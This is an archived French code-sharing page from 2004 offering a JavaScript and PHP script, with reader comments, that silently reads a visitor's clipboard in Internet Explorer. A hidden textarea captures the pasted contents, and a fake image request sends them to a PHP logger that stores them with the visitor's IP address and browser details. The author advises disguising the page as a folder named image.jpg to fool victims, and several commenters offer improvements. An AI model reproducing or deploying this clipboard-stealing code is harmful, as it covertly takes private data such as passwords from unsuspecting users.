begin process at 2012 05 27 22:26:05
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Javascript / DHTML

 > CONNAITRE LE CONTENU DU PRESSE PAPIER D'UN VISITEUR ET LE LOGUER

CONNAITRE LE CONTENU DU PRESSE PAPIER D'UN VISITEUR ET LE LOGUER


 Information sur la source

Note :
9,33 / 10 - par 3 personnes
9,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Javascript / DHTML Niveau :Débutant Date de création :18/04/2004 Date de mise à jour :05/11/2004 15:38:33 Vu :8 963

Auteur : thepopolinux

Ecrire un message privé
Site perso
Commentaire sur cette source (20)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
Encore une petite bidouille assez marante ...
J'ai adapté à ma façon, et très mal !, un script JS qui affichait le contenu du presse papier quand on navigait sur le page pour qu'il transmette le contenu du presse papier du visiteur à un script php, sans éveiller les soupsons de IE (comme si le .php était une image) et le PHP log tout ça dans un fichier .txt

Je vous conseille de mettre la page en index.htm dans un dossier image.jpg de type : http://www.serv.tld/image.jpg comme ça le mec crois ouvrir une image :p

Je n'ai aucune prétention en javascript donc je ne sais pas trop comment marche les variables mais si vous avez des conseils n'hésitez pas !

Notez pas très sévére pour le JS ! lol

Le code :

Source

  • index.htm :
  • -------------
  • <html>
  • <body>
  • <form name="tito" id="tito">
  • <textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
  • </form>
  • <script>
  • fuckU = new Image;
  • var popo=tito.zone.createTextRange();
  • popo.execCommand("Paste");
  • popo.collapse(false);
  • fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
  • </script>
  • </body>
  • </html>
  • microsoft.php (le nom mé passé par la tet ... désolé !) :
  • ----------------------------------------------------------------
  • <?
  • /// PoPo 2004
  • if($toto != ""){
  • $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";
  • $popo = fopen("histo.txt", "a");
  • fputs($popo, $toto);
  • fclose($popo);
  • }
  • ?>
index.htm :
-------------

<html>
<body>
<form name="tito" id="tito">
<textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
</form>
<script>
fuckU = new Image;

var popo=tito.zone.createTextRange();
popo.execCommand("Paste");
popo.collapse(false);

fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;

</script>
</body>
</html>



microsoft.php (le nom mé passé par la tet ... désolé !) :
----------------------------------------------------------------

<?
/// PoPo 2004

if($toto != ""){
         $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";

         $popo = fopen("histo.txt", "a");
         fputs($popo, $toto);
         fclose($popo);
}

?>

 Conclusion

Merci à s0nic Kaos pour l'idée :)

@++
PoPo


 Historique

05 novembre 2004 15:38:34 :
Erreur dans une url

 Sources du même auteur

NUMÉROS EN 08... DÉTAXÉS !!! (PHP/MYSQL)
MÉTÉO DYNAMIQUE PAR SOCKET
UPLOAD SIMPLE ET RAPIDE SUR UN SERVER FTP
TU AIME LE VERLAN ?
NOMBRE PAIR OU IMPAIR ?

 Sources de la même categorie

Source avec Zip Source avec une capture PHPJSVFORM : DES CLASSES PHP, DES JAVASCRIPTS POUR CRÉER FAC... par synanceia
BOUTON POUR SITE WEB PAYMENT par Tom56340
Source avec Zip Source avec une capture PETIT CLIENT + AJAX + PHP par kiki67100
Source avec Zip Source avec une capture BOÎTE À ONGLETS / MENUS ET SOUS-MENUS / JAVASCRIPT / PHP / D... par Heirem
Source avec Zip Source avec une capture JUKEBOX EN LIGNE par Flachy Joe

Commentaires et avis

Commentaire de thepopolinux le 18/04/2004 23:33:18

Encore une fois ... c'est pas pour le javascript que j'ai posté cette source (j'ai honte !), c'est pour l'idée et un peu pour le PHP :)

Soyez indulgent :p

@++
PoPo

Commentaire de stef2004 le 19/04/2004 11:03:03

C'est une bonne idée mais moi g mi comen texte log2.txt et aucune information sur le visiteur ne vient s'y ajouter
http://membres.lycos.fr/stefcho2/log2.txt

stef2004
http://membres.lycos.fr/stefcho2/vb/

Commentaire de -=|[titiplusplus]|=- le 19/04/2004 14:16:57

Rigolo comme tout !!!
Ca peux etre pas mal pour une application qui nécéssite un rappel des données copiées ...
On met ca dans une barre d'outil sur le coté et zou ...
Rien n'empèche ensuite de faire appel à une table mySql par ex...
Je met ce script de coté moi :-)

Ca mérite un 8/10 pour la pertinence.

Au fait je te conseille d'y apporter ces modif pour le rendre compatible avec toute les configuration php (php.ini-&gt;register_global)

$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $toto . "\r\n&gt;&gt;---------------&lt;&lt;\r\n\r\n";

Commentaire de defkrie le 19/04/2004 14:20:34

jaime bien.

Commentaire de -=|[titiplusplus]|=- le 19/04/2004 14:21:52

Et encore une fois je poste trop vite ...

$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n&gt;&gt;---------------&lt;&lt;\r\n\r\n";

j'avais oublié le $_GET["toto"]

Commentaire de thepopolinux le 19/04/2004 19:16:52

sted2004 &gt; depuis que multimania c acouplé ac Lycos ils font ke des conneries ensemble donc en gros ta des services de merde ac de la pub partt et les 3/4 des fonctions php interdites (aparament comme celle là :)

-=|[titiplusplus]|=- &gt; Oui biensur c interessant ... mais qui n'a pas register_global dans sa conf ... Enfin la presision est bonne en cas que le mec galère enfin c plus simple de mettre register_global = On ;)

defkrie &gt; Thk :)

@++

Commentaire de morgandetoi06 le 19/04/2004 19:21:07

personnellement quand je teste j ai l erreur :
"'FALSE' est indéfini"
comment que ça se fait ?

Commentaire de morgandetoi06 le 19/04/2004 19:24:39

c bon j ai remplacé FALSE par 0 ça marche

Commentaire de thepopolinux le 19/04/2004 19:34:15

:)

Commentaire de -=|[titiplusplus]|=- le 19/04/2004 22:08:08

&gt;Oui biensur c interessant ...

c kler avec l'expereince je te dis même plus autant codé bien et propre dés le début ... les var $_GET, $_POST, $_SESSION etc ... marchent dans tous les cas ...

&gt;mais qui n'a pas register_global dans sa conf ...

Moi au boulot ! mdr ... alala ... tu verras plus tard ;-)

&gt;Enfin la presision est bonne en cas que le mec galère enfin c plus simple de mettre register_global = On ;)

Si tu admin d'un VRAI serveur web ... effectivement tu fais ce qu'il te plait .... hehe

http://www.monagenda.org (pour tester login=test pwd=password)
http://ebc.titiplusplus.com

comming soon : http://www.titiplusplus.com ; http://www.ebc.eu

Tchao ;-)

Commentaire de -=|[titiplusplus]|=- le 19/04/2004 22:12:30

Bon pour http://www.monagenda.org, à la suite d'un changement d'herbergeur j'ai pas encore reconstruit les tables mysql ... hrrrr ... je fais ca 2m1 ... vous pourez le tester et me dire ce que vous en pensez !

Cordialement.

Commentaire de thepopolinux le 19/04/2004 22:40:16

Ok je comprend pour la prog mais bon c clair que c destiné a un public restraint ... enfin je men rapele si je fais un script public ....

Je mate ton truc d'agenda dés que c ok :)

@++

Commentaire de -=|[titiplusplus]|=- le 20/04/2004 08:26:23

Voilou ... g tout reconstruit maintenant vous pouvez le tester ... dsl pour l'aide en ligne qui n'est pas finie.

http://www.monagenda.org
login=test
pwd=password

Commentaire de thepopolinux le 20/04/2004 17:25:16

c pas mal ce ke tu as fé :)
bravo :)

Commentaire de -=|[titiplusplus]|=- le 20/04/2004 22:34:55

merci popo !

On s'en sert à mon taf tous les jours pour gérer le planning de nos médecins clients (on est centre d'appel / call center)

Mais je t'avoue ca m'a pris du temps ... et c'est ce que j'ai présenter pour mon exam.... voilou :-)

Commentaire de Anthomicro le 05/08/2004 10:17:03

Salut ;-)

Il suffit juste de régler les paramètres d'IE pour que ton script ne fonctionne plus. Dommage :-(

Mais bon je n'aime pas ce genre de scripts qui loguent des trucs du visiteur.

a ++

Commentaire de stanilou le 16/11/2004 21:08:10

J'ai un petit probleme, moi j'ai juste un cadre de texte !? Quelqu'un pe m'expliquer?

Commentaire de Sined_ le 21/11/2005 22:18:45

Cette technique peut s'appropcher du piratage... mais bon j'ai un peu améliorer le script pour qu'il puisse enregistrer des caractères non présent dans la table de caractères ISO-8859-1 puis qui puisse enregsitrer la suite d'un segment comportant le signe &.
Dans le fichier HTML:
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?' + tito.zone.value;
au lieu de :
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
Puis dans le fichier PHP:
$titi = str_replace("%20", " ", $_SERVER['QUERY_STRING']);
$toto = utf8_encode("@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $titi . "\r\n>>---------------<<\r\n\r\n)";
au lieu de :
$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n>>---------------<<\r\n\r\n";

Commentaire de pepecyril le 29/07/2006 17:47:35

Ca marche avec firefox ?
Je crois pas...heuresement que le logiciel libre est là !

Le piratage nuit à microsoft
Le piratage aide le libre

Commentaire de l_lcypherl_l le 12/11/2007 11:29:14

Bonjour,

C'est clair, il faut préciser que ce code n'est valable que pour IE.

Des commandes comme 'execCommand("Paste")' sont propres au jScript microsoft et non au standard javascript [qui lui n'accede pas au système :) ].

 Ajouter un commentaire




Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,359 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales